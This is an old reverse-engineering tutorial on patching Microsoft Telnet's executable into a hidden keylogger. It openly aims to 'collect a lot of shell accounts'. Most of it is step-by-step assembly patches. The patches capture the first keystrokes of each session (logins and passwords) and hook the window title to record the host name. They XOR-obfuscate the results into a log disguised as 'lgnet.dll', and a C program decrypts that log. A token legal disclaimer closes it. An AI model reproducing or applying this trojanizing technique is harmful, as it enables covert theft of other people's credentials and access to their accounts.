Immortal Descendants
Immortal Descendants Proudly Presents:
04 January 2000
Author:
aLoNg3x
All Rights Reserved
Overcoding Microsoft Telnet
Best viewed at 800x600x65K with Internet Explorer or Netscape Navigator
Description:
"Making it a Keylogger"
HTML Template Written by aLoNg3x
Difficult Level: ( ) Beginner - ( ) Easy - (X) Medium - (x) Advanced All Rights Reserved aLoNg3x AD 2000

1. Introduction

Ok. Let's start. First of all, what I mean with "Overcoding" ? I intend with this term a kind of improved reverse engineering work. We will make Telnet a "powered" telnet; we'll add to it a cool function that was not implemented (of course) in the original version. In overcoding, like in overclocking, your purpose is to let a finished program to do more than what it can originally do :-)

How is born the idea of this new function to telnet ? Well let's see an example: we want to collect a lot of shell accounts. A first way to do this is to place over your network a packet sniffer. In this way if the communication is not protected you can find a lot of nice cripted password to crack with a tool like "John The Ripper"... But we are overcoders and not experienced in network solutions. So the easyest way to do this work is to do it at the origin. We'll use so the nice Microsoft Telnet as our target.

We are so lucky. In fact Telnet is really good for our work; it have the imported functions that we need and so we can avoid a lot of boring work. Of course you must remember that this password catching work MUST be only do on your system or network. Please remember that it can be also against your State law. So take a look to the legal notes at the bottom of this page.

2. What You Need

Target:

Tools: Knowledge:

3. The Essay

Let's start. Fire up your Softice, we are going to start a long work. The first thing that we need is to find the right point to insert our code. The easiest way is to find where the WM_CHAR is processed. So we can put a breakpoint on execution on the RegisterClassA and start Telnet. We'll break after a bit of time here:

Bpx RegisterClassA

025855C9 C745FCB8075902          mov [ebp-04], 025907B8
025855D0 8945F0                  mov dword ptr [ebp-10], eax
025855D3 8D45D8                  lea eax, dword ptr [ebp-28]
025855D6 50                      push eax
025855D7 FF15C8D15802            Call RegisterClassA
If you watch some lines of code over these, you'll find this nice instruction:
02585592 C745DC55575802          mov [ebp-24], 02585755
Take a look in the disassembled code at 02585755, and you'll see the Win Procedure of this window class. You have probably noted a lot of "CMP ESI, xxx"; with this instructions the program is looking for what kind of message it is processing. So take the windows.h include file and search the WM_CHAR hexadecimal code. In that file you'll read that WM_CHAR is the specific 102 hex code.
This is the useful piece of code:
025857E9 81FE02010000            cmp esi, 00000102
025857EF 0F843E090000            je 02586133
025857F5 E9A5150000              jmp 02586D9F
That "je 02586133" is the key to reach our purposes. We can jump away from that portion of code, in our custom routine. But we need also some space to insert our code. So take a look to the object section.
Number  Name   VirtSize   RVA    PhysSize  Offset    Flag
    1 .text    0000B010 00001000 0000B200 00001000 60000020
    2 .rdata   0000142A 0000D000 00001600 0000C200 40000040
    3 .data    00004944 0000F000 00002C00 0000D800 C0000040
    4 .rsrc    00002000 00014000 00002000 00010400 60000040
    5 .reloc   000012DC 00016000 00001400 00012400 42000040
Hmm. I think that to add code at the end of the .data section can be a good idea. So let's look for a quite big zero padded section to add our code. I've found one good place at 02591900 (00010100h). We'll put our new code after this byte, and we'll use the bytes before to keep some variables that we need.

First of all we can place simple jump and jump back instructions to have a first root from which grow up our code. Well, so we put:
025857EF 0F840BC10000            je 02591900
...
02591900 6660                    pusha
02591902 90                      nop
02591903 90                      nop
02591904 6661                    popa
02591906 E92848FFFF              jmp 02586133
The two NOP instruction will be used to have space to insert a short jump instruction. So we'll make something like a self modifying code infact we'll need only in specific situation to hanlde by our selves the WM_CHAR. We need of course also of some space to keep the hitted chars. I had the idea to store them in: "025918D8 to 025818EB" (that will be the '\0' char). Then we have a string of 19 chars (20-1). We'll full up the first 19 chars with 01h and the 20th char with a 0h. But why only 19 chars ?? Because usually in a telnet connection the login and the password are inserted at the beginning of the connection :-)

Well. Now we can think about our keylogging procedure. First of all where is the byte with our dear char ??? If you know how works the messagging system in windows or if you debug the code sometimes, you will know that the char is stored in the byte pointer [EBP+10].
We'll put it in AL. We need also a register (EDI) to point at the beginning of our string. And a counter (ECX initialized to 0) to remember our steps along the string. We'll use also BL to see the attual char pointed by [EDI+ECX].
Ok. Now let's try to think about the different situations: Of course after all this check we must return to the standard procedure of telnet to handle normally the WM_CHAR !
0259190B 8A4510                  mov al, byte ptr [ebp+10]  ; Pressed Char
0259190E BFD8185902              mov edi 025918D8           ; First char of string
02591913 33C9                    xor ecx,ecx                ; Counter = 0
02591915 8A1C0F                  mov bl, byte ptr [edi+ecx] ; Attual char of string
02591918 80FB00                  cmp bl,00                  ; End of string ?
0259191B 740E                    je 0259192B                ; yes, Log it to file !
0259191D 80FB01                  cmp bl,01                  ; Empty char ?
02591920 7404                    je 02591926                ; yes, fill it !
02591922 FEC1                    inc cl                     ; Otherwise pass to next char
02591924 EBEF                    jmp 02591915               ; and recheck all
02591926 88040F                  mov byte ptr [edi+ecx],al  ; Insert pressed char in the string
02591929 EBD9                    jmp 02591904               ; Go to the standard procedure

0259192B .... We'll log to a file !
I think to have explained all in a quite detailed way. We can now have care of our writing operation on the file. First of all we must have to get the file handle using the already imported CreateFileA win32 function. So here is the code ! Please, note that i've putted the 10 byte string: "lgnet.dll" (10 because there is the '\0' !) at the 025918C0 address (to 025918C9)
0259192B 6A00                    push 00
0259192D 6880000000              push 00000080
02591932 6A04                    push 04
02591934 6A00                    push 00
02591936 6A00                    push 00
02591938 6800000040              push 40000000
0259193D 68C0185902              push 025918C0
02591942 FF15BCD05802            call CreateFileA
We'll store now the returned file handle (in EAX) in a double word variable in 025918BC (pointed by ESI). We need now to seek to the end of our opened (or created if it didn't exist) file; so we'll use the SetFilePointer function. Look to the code !
02591948 BEBC185902              mov esi, 025918BC
0259194D 8906                    mov dword ptr [esi],eax
0259194F 6A02                    push 02
02591951 6A00                    push 00
02591953 6A00                    push 00
02591955 FF36                    push dword ptr [esi]
02591957 FF1518D15802            call SetFilePointer
Very well ! We can now start to push the parameters for the WriteFile function, but before i think that should be better do a very simple "xor cripting" work, to prevent that if someone open the file, he can see all the l/p. Then we'll xor every component of the string with the 69h key. You'll see that i will cript a string of 40 char (28h) and not the usually 20.. why ? because you'll see later that in the next part of the string we'll store something of really useful.
I'll use also a double word space at 025918D4 to keep how many bytes has been written. I'll never use this value for checks, but i have to put it somewhere.
0259195D 6A00                    push 00
0259195F 68D4185902              push 025918D4
02591964 6A28                    push 28
02591966 57                      push edi
02591967 FF36                    push dword ptr [esi]
; START of "Cripting"
02591969 33C9                    xor ecx,ecx
0259196B 80340F69                xor byte ptr [edi+ecx],69
0259196F FEC1                    inc cl
02591971 80F928                  cmp cl,28
02591974 7CF5                    jl 0259196B
; END of "Cripting"
02591976 FF15CCD05802            call WriteFile
Finally we can close our file handle, and also we can self modify the code putting the two NOP at 02591902 to prevent to log again all the useless things written in telnet... usually user & password are in the first 20 chars no ??? ;-)
You'll see late when the two NOPs are changed to enable the logging code to be executed. In fact when we start telnet and we are no yet connected we aren't interested to log chars that the user hits making an error. So here is the code:
0259197C FF36                    push dword ptr [esi]
0259197E FF15B4D05802            call CloseHandle
02591984 B802195902              mov eax,02591902
02591989 66C7009090              mov word ptr [eax],9090
0259198E E971FFFFFF              jmp 02591904
A little note: the last jump give back the message handling to the standard routine of telnet.

But now we have a lot of users and passwords.. but they are totally useless without the name of the hosts !!! and so we must implement this new kind of function.
As you're probably thinking i'll use the other 20 chars to store the name of the host. Well, my idea is to intercept the SetWindowText calls in fact as you can see when telnet reaches an host the name of it appears on the title bar.. and so we can get it ! Let's see the code where telnet.exe imports that function:
025819F8 8D45C0                  lea eax, dword ptr [ebp-40]
025819FB 50                      push eax
025819FC FF7508                  push [ebp+08]
025819FF FF1548D25802            Call SetWindowTextA
We'll change it in this way:
025819F8 8D45C0                  lea eax dword ptr [ebp-40]
025819FB E994FF0000              jmp 02591994
02581A00 90                      nop
02581A01 90                      nop
02581A02 90                      nop
02581A03 90                      nop
02581A04 90                      nop
The two push and the call will be executed in the added code in the .data section. Well. We can think about the code. First of all we'll push EAX, ECX and EBX (and we'll pop only EBX and ECX, in fact the EAX register is needed to be pushed for the SetWindowTextA.
EAX will contain the address of the begin of the string that is being fulfilled with the name of the host, ECX will be used like a counter, and EBX to have a temp register where we can put the attual char.
02591994 50                      push eax
02591995 51                      push ecx
02591996 53                      push ebx
02591997 B8EC185902              mov eax,025918EC
0259199C 33C9                    xor ecx,ecx
0259199E 33DB                    xor ebx,ebx
Ok now we have to handle the routine that writes to our string the host. If you debug into the code before the SetWindowTextA, you will understand the ESI points to the beginning of the string of the host. We have to check three conditions: Here is the code:
025919A0 80F914                  cmp cl,14                  ; Too long host name ?
025919A3 7433                    je 025919D8                ; Then we do nothing.
025919A5 85F6                    test esi,esi               ; Are we disconnecting ?
025919A7 7410                    je 025919B9
025919A9 803C0E00                cmp byte ptr [esi+ecx],00  ; Reached the end of the string ?
025919AD 740A                    je 025919B9
025919AF 8A1C0E                  mov bl, byte ptr [esi+ecx] ; Copy the char
025919B2 881C08                  mov byte ptr [eax+ecx],bl
025919B5 FEC1                    inc cl                     ; Pass to the next char
025919B7 EBE7                    jmp 025919A0               ; Recheck all
Ok now, when we're disconnecting from an host or we are just connected to it we have to set to zero all the chars (in our host string) after the actual position (keeped by the ECX counter).
025919B9 C6040800                mov byte ptr [eax+ecx],00
025919BD FEC1                    inc cl
025919BF 80F914                  cmp cl,14
025919C2 75F5                    jne 025919B9
After this, we must reset to the original values the first 20 chars of our string, in order to permit to the checks at 02591918 (and succ) to work correctly. (so we have to set nineteen 01h and one 00h). Well, so the code is:
025919C4 B8D8185902              mov eax,025918D8
025919C9 33C9                    xor ecx,ecx
025919CB C6040801                mov byte ptr [eax+ecx], 01
025919CF 80F912                  cmp cl,12
025919D2 7415                    je 025919E9
025919D4 FEC1                    inc cl
025919D6 EBF3                    jmp 025919CB
...
025919E9 C644080100              mov byte ptr [eax+ecx+1], 00
Now we can recheck if we're connecting or disconnecting, and depending by this, we'll modify the two bytes at 02591902 (address that we store in EAX). There are two cases: This is the code:
025919EE B802195902              mov eax, 02591902
025919F3 85F6                    test esi,esi
025919F5 7409                    je 02591A00
025919F7 C600EB                  mov byte ptr [eax], EB
025919FA C6400107                mov byte ptr [eax+1], 07
025919FE EBD8                    jmp 025919D8
02591A00 C60090                  mov byte ptr [eax], 90
02591A03 C6400190                mov byte ptr [eax+1], 90
02591A07 EBCF                    jmp 025919D8
Well. Now we need only the last piece of code in which we pop ECX and EBX, (EAX must remain pushed) and we push [ebp+8] and call SetWindowTextA and come back to the standard code of telnet.
025919D8 5B                      pop ebx
025919D9 59                      pop ecx
025919DA 90                      nop
025919DB FF7508                  push dword ptr [ebp+8]
025919DE FF1548D25802            call SetWindowTextA
025919E4 E91700FFFF              jmp 02581A00
A little note: i've not handled in a good way the case in which we're connecting to an host with a name longer than 19 chars. In fact in this case if we are actually disconnected and we connect to it, we have no problems, but if we are already connected to an host and we're logging the WM_CHAR, if we connect our self directly to the host with a long name, we will log (making a logic error) the chars, because we didn't created a selfmodifying code for the case of a "long" host name.
I think that can be a good and simple exercise for you to insert the code that handle this message. I'm too lazy to do now it ;-)

Well Well Well. We have now a cripted file "lgnet.dll". But how can we read it in a fast, safe and easy way ? I've written down a simple C program that is able to do it. (It display in a very very simple way the results, but it does its work :-)
Enjoy the code:
/* LogRead.c */
/* I'll use [greater than] and [lower than] in order to have no problem with HTML. */

#include "windows.h"
#include "string.h"

int WINAPI WinMain(HINSTANCE hNow, HINSTANCE hPrev, LPSTR cmd, int show)

{
	OPENFILENAME SelectedFile; // Pointer to structure
	HANDLE hFile;
	char filename[256];
	char buffer[40];
	int byteReaded = sizeof(buffer);
	int i, j;

	filename[0] = 0;
	ZeroMemory(&SelectedFile, sizeof(OPENFILENAME));

	SelectedFile.lStructSize = sizeof(OPENFILENAME); // set the size
	SelectedFile.hwndOwner = NULL;
	SelectedFile.lpstrFile = filename;
	SelectedFile.nMaxFile = sizeof(filename);
	SelectedFile.lpstrFilter = "Telnet Log Files (lgnet.dll)\0lgnet.dll\0All (*.*)\0*.*\0";
	SelectedFile.nFilterIndex = 1;
	SelectedFile.lpstrFileTitle = NULL;
	SelectedFile.nMaxFileTitle = 0;
	SelectedFile.lpstrInitialDir = NULL;
	SelectedFile.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

	if (!GetOpenFileName(&SelectedFile))
		{
			MessageBox(NULL, "An error is occurred !", "Error 01", 0);
			return(0);
		}

	hFile = CreateFile(SelectedFile.lpstrFile, GENERIC_READ, 0, NULL, 
			   OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE)
		{
			MessageBox(NULL, "An error is occurred !", "Error 02", 0);
			return(0);
		}

	for (j = GetFileSize(hFile, NULL) / 40; j [Greater than] 0; j-- )
	{
		ReadFile(hFile, buffer, sizeof(buffer), &byteReaded, NULL);
		for ( i = 0; i [Lower Than] sizeof(buffer); i++) buffer[i] ^= 105;
		MessageBox(NULL, buffer, buffer+20, 0);
	}

	CloseHandle(hFile);
	return(1);
}
That's all. Try it by your self :-)

4. Final Notes

Ahh. :-) I finished it. I am sorry for the bad english i used in this essay but i've written it quite fastly :-P
I hope you like this kind of reversing work. And i hope to see soon on the Web less tutorials about software protections and much more about adding code to a compiled target.
I think that in the future i'll add something of new to Telnet, but now is not the time to think about this. However check the site for updates.

I think that's right to thank particulary three persons:
Kill3xx (the RingZer0 one) that is in my opinion the best reverser all around. (He's also always able to help you)
Neural_Noise He is a really great friend and reverser :-) He's really funny and he's a very good person. Reading his tutorials I had a lot of good ideas.
Volatility I know him only by few weeks, however I must thank him for his cool site and because he accepted me like trial in his group. (Hey Vola: i hope to become member ! eh ;-)

Many many thanks also to all the "RingZer0" and "Immortal Descendants" crews; to all the producers of the music i listened doing this work and to all the biscuits, crackers, cakes, coca cola, pigs that i've eaten or drunk while i was working :-)

If you have comments, suggestions, critics, congratulations ;-) or if you want to ask me something to me i'm always at along3x@privacy.nu Please tell me if you have difficult using this address. Thanks.

5. Legal Notes

Remember that you can do all the things written here only at YOUR risk.
I do NOT take any liability for YOUR acts.
Please remember that you cannot violate your State law. And you cannot violate the privacy of other people.